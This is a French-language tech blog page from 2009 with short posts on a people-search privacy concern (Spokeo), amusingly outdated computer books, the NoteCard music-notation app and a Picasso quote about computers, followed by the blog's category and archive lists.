Comment est-ce possible puisque son profil était limité ? Mais où donc s'en va la vie privée ? Juste pour vous donner un aperçu à quel point ça devient inquiétant, j'ai trouvé un service nommé Spokeo dans lequel on peut entrer une adresse courriel et l'engin de recherche scrute à la loupe l'information que vous avez entré à propos de vous sur différents services qui utilisent cette même adresse. Les résultats proviennent des blogues, Flickr, Picasa, des sites de réseautage social comme Facebook, Last.fm, Windows Live, Amazon, LinkedIn, etc.

Vous pouvez le tester avec votre adresse personnelle, vous aurez un aperçu de ce qu'ils ont trouvé sur vous (ou libre à vous d'espionner quelqu'un). Pour l'information complète, le service est payant. Sans compter qu'à ma connaissance, ils n'offrent pas de support pour vous aider à effacer vos traces les plus embêtantes.

Méfiez-vous des services que vous utilisez pour préserver votre vie privée. J'ai surtout l'impression que tout ça n'ira pas en s'améliorant...


Tags: Sécurité

lundi 23 novembre 2009

Livres informatiques douteux

Publié par Infinite Loop, à 19 h 21 0 commentaire

Je ne me souviens pas comment j'ai découvert ce blogue mais je dois dire que j'ai eu beaucoup de plaisir à regarder les livres les plus horribles avec leurs jaquettes trop souvent explicites.

En scrutant sur la thématique technologique, vous trouverez sur Awful Library Books des titres comme :

The Complete Y2K Home Preparation Guide
1999 - 432 pages - Prentice Hall

Remarquez, ce livre a été écrit par un "New York Times Best Seller Author". C'est supposé être crédible. Ou bien les gens sont trop crédules.

Disponible en copie de seconde main sur Amazon à partir de 0.39$. À surveiller : la sortie imminente de son prochain succès sur l'apocalypse de 2012. En liquidation dès 2013.



How to Make Money With a Home Computer
1986 - 92 pages - Bond Enterprises

Celui-là explique comment faire de l'argent avec un ordinateur personnel.

En 1986, il n'y avait ni P2P ni de sites d'enchères comme eBay alors vous deviez vous rabattre sur la comptabilité, le traitement de texte, et surtout les autres choses.

Toute une génération d'initiés qui a fâché son avenir en finissant par créer des fichiers Powerpoint à envoyer à leur amis.



Getting Ready for a career in computers
1996 - 48 pages - Coughlan Publishing

Tout ce que vous devez savoir, en 48 pages illustrées. Une bible de C++ compte au moins 1000 pages. Ce qui fait que si votre carrière bat de l'aile, vous pouvez toujours écrire des livres sur l'an 2000.



La preuve où il y a des fois que ça vaut la peine de trainer dans les librairies et les ventes de garage (désignation québécoise pour bazar).


Tags: Curiosités, Livres

dimanche 22 novembre 2009

NoteCard, pour apprendre ses notes de musique

Publié par Infinite Loop, à 09 h 09 1 commentaire

Comme j'ai annoncé récemment, je me suis acheté une nouvelle guitare, après avoir mis de côté la pratique pendant des années. C'est d'usage commun d'apprendre à lire les partitions en utilisant des tablatures, un système de notation qui indique à quel endroit placer ses doigts (frette et corde). Et comme je n'ai jamais pris de cours, j'ai tout appris en tant qu'autodidacte. Et je dois dire que je m'en sors pas trop mal.

Mais avec le temps, ma curiosité m'a poussé à vouloir me mettre à niveau pour comprendre la notation musicale standard à partir d'une portée. Pour m'aider à mémoriser les notes, j'avais trouvé NoteCard 2.01, une petite application gratuite de moins de 500 Kb qui permettait de faire des exercices de reconnaissance des notes (notation internationale, sur piano ou sur le manche d'une guitare) sous forme de "flash cards". C'était assez rudimentaire mais c'est comme ça que j'ai débuté la transition et ça marche très bien.



Quand j'ai voulu installer la version la plus récente (NoteCard 3.1), j'ai vu que le petit outil avait évolué pour devenir plus complet. L'interface a été revue avec des améliorations majeures, plus conviviale, l'ajout d'un profil utilisateur pour compiler nos pointages et statistiques, le choix d'instrument (notation internationale de A à G, notation par notes de Do à Si, Piano 1 ou 4 octaves, manche de guitare de 7 ou 12 frettes, clavier PC), connectivité MIDI, etc.



Avec l'apparition de nouvelles fonctionnalités, il faut s'attendre à y mettre un prix. Il existe toujours une version gratuite de NoteCard 3 mais les fonctions avancées se retrouvent pour la plupart dans la version payante. Heureusement, la license ne coûte qu'environ 20$ US. Mais le défaut principal, et là je pense aux enfants qui veulent apprendre, est que l'interface est disponique uniquement en anglais. À partir de quel âge les enfants commencent à apprendre l'anglais à l'école au Québec ? Comme l'utilisation de ce mini-jeu est principalement visuel, ça ne devrait pas être un si gros frein. Donnez-lui un essai (au moins la version gratuite), vous verrez.


Tags: Musique

Citation no. 57 sur les ordinateurs

Publié par Infinite Loop, à 07 h 42 0 commentaire

Les ordinateurs sont inutiles. Ils ne savent que donner des réponses.

- Pablo Picasso


Tags: Citations

Messages plus récents Messages plus anciens Accueil
S'abonner à : Messages (Atom)
    Suivre @code18 sur Twitter

    Catégories

    • Apache (21)
    • Citations (167)
    • Club Vidéo (24)
    • Coffre à outils (55)
    • CSS (8)
    • Curiosités (117)
    • Design Pattern (2)
    • Drupal (8)
    • Easter Eggs (22)
    • Extensions Firefox (20)
    • GIMP (7)
    • Histoire (21)
    • HTML (32)
    • Humour (57)
    • Intégration (34)
    • iPod (12)
    • JavaScript (110)
    • Jeu de combat (6)
    • Le coin du geek (128)
    • Liens (12)
    • Linux (56)
    • Livres (78)
    • Lois et principes (46)
    • Marché des saveurs (26)
    • Mathématique (18)
    • Mobile (5)
    • Montréal (32)
    • Musique (112)
    • Pancartes et écriteaux (16)
    • Perl (8)
    • Pérou (1)
    • PHP (130)
    • PostgreSQL (44)
    • Programmation (105)
    • Saviez-vous que (55)
    • Sécurité (22)
    • SEO (5)
    • SQL Server (22)
    • Vieilles publicités (6)
    • Virtualisation (8)
    • Voyages (1)
    • Zend Framework (26)

    Divers

    Archives

    • ►  2015 (6)
      • ►  août 2015 (1)
      • ►  juillet 2015 (1)
      • ►  février 2015 (3)
      • ►  janvier 2015 (1)
    • ►  2014 (8)
      • ►  décembre 2014 (1)
      • ►  novembre 2014 (1)
      • ►  octobre 2014 (1)
      • ►  août 2014 (2)
      • ►  juillet 2014 (2)
      • ►  janvier 2014 (1)
    • ►  2013 (53)
      • ►  décembre 2013 (2)
      • ►  novembre 2013 (1)
      • ►  octobre 2013 (3)
      • ►  septembre 2013 (2)
      • ►  août 2013 (5)
      • ►  juillet 2013 (3)
      • ►  juin 2013 (5)
      • ►  mai 2013 (3)
      • ►  avril 2013 (7)
      • ►  mars 2013 (7)
      • ►  février 2013 (11)
      • ►  janvier 2013 (4)
    • ►  2012 (105)
      • ►  décembre 2012 (8)
      • ►  novembre 2012 (5)
      • ►  octobre 2012 (4)
      • ►  septembre 2012 (1)
      • ►  août 2012 (8)
      • ►  juillet 2012 (7)
      • ►  juin 2012 (7)
      • ►  mai 2012 (10)
      • ►  avril 2012 (13)
      • ►  mars 2012 (15)
      • ►  février 2012 (15)
      • ►  janvier 2012 (12)
    • ►  2011 (146)
      • ►  décembre 2011 (14)
      • ►  novembre 2011 (11)
      • ►  octobre 2011 (12)
      • ►  septembre 2011 (13)
      • ►  août 2011 (15)
      • ►  juillet 2011 (17)
      • ►  juin 2011 (18)
      • ►  mai 2011 (15)
      • ►  avril 2011 (9)
      • ►  mars 2011 (7)
      • ►  février 2011 (3)
      • ►  janvier 2011 (12)
    • ►  2010 (398)
      • ►  décembre 2010 (29)
      • ►  novembre 2010 (28)
      • ►  octobre 2010 (32)
      • ►  septembre 2010 (34)
      • ►  août 2010 (22)
      • ►  juillet 2010 (35)
      • ►  juin 2010 (42)
      • ►  mai 2010 (36)
      • ►  avril 2010 (37)
      • ►  mars 2010 (34)
      • ►  février 2010 (32)
      • ►  janvier 2010 (37)
    • ▼  2009 (429)
      • ▼  décembre 2009 (32)
        • Transférer de serveur une BD PostgreSQL
        • Manipuler des fichiers PDF gratuitement
        • Calendrier Linux en septembre 1752
        • Fichier batch pour renommer les fichiers en lot
        • Palindrome mathématique
        • Comment fonctionne le modulo ?
        • Citation no. 62 sur les artistes
        • Film Pirates of Silicon Valley
        • Une surprise pour Noël
        • The Long Tail par Chris Anderson
        • L'informatique et King Kong Bundy
        • Origine du nom des notes de musique
        • Ordre de recherche dans les schémas PostgreSQL
        • Ce que veut dire Wiki
        • Citation no. 61 à propos de PHP et Perl
        • Fusionner des structures JSON avec jQuery
        • Game Boy sur Psycho-acoustic
        • Clone de la Nintendo Wii
        • Exclure les répertoires .svn de grep
        • Tag de version avec TortoiseSVN
        • Compte à rebours 2010 de Google
        • État de santé - repos forcé à mes doigts
        • Citation no. 60 sur la complexité
        • jPod de Douglas Coupland
        • Simuler unnest() avant Postgres 8.4
        • Démo d'injection SQL sur MySQL
        • Jeu caché dans Gnome (GEGL)
        • Citation no. 59 sur le café
        • Le plus beau gars du Québec
        • Thème Windows XP sur Ubuntu : ça marche!
        • Invitation à un cocktail de Microsoft
        • Défilement sur Google Maps
      • ►  novembre 2009 (34)
        • Utilise les regex avant que je vire fou !
        • In Search of Stupidity
        • Citation no. 58 sur la confiance
        • Propriétaire d'une table PostgreSQL
        • Configurer le FTP dans Netbeans
        • Mais où s'en va la vie privée ?
        • Livres informatiques douteux
        • NoteCard, pour apprendre ses notes de musique
        • Citation no. 57 sur les ordinateurs
      • ►  octobre 2009 (33)
      • ►  septembre 2009 (37)
      • ►  août 2009 (37)
      • ►  juillet 2009 (39)
      • ►  juin 2009 (38)
      • ►  mai 2009 (37)
      • ►  avril 2009 (35)
      • ►  mars 2009 (36)
      • ►  février 2009 (32)
      • ►  janvier 2009 (39)
    • ►  2008 (84)
      • ►  décembre 2008 (34)
      • ►  novembre 2008 (39)
      • ►  octobre 2008 (11)

    Abonnés

Copyright © All Rights Reserved. Code 18 | Converted into Blogger Templates by Theme Craft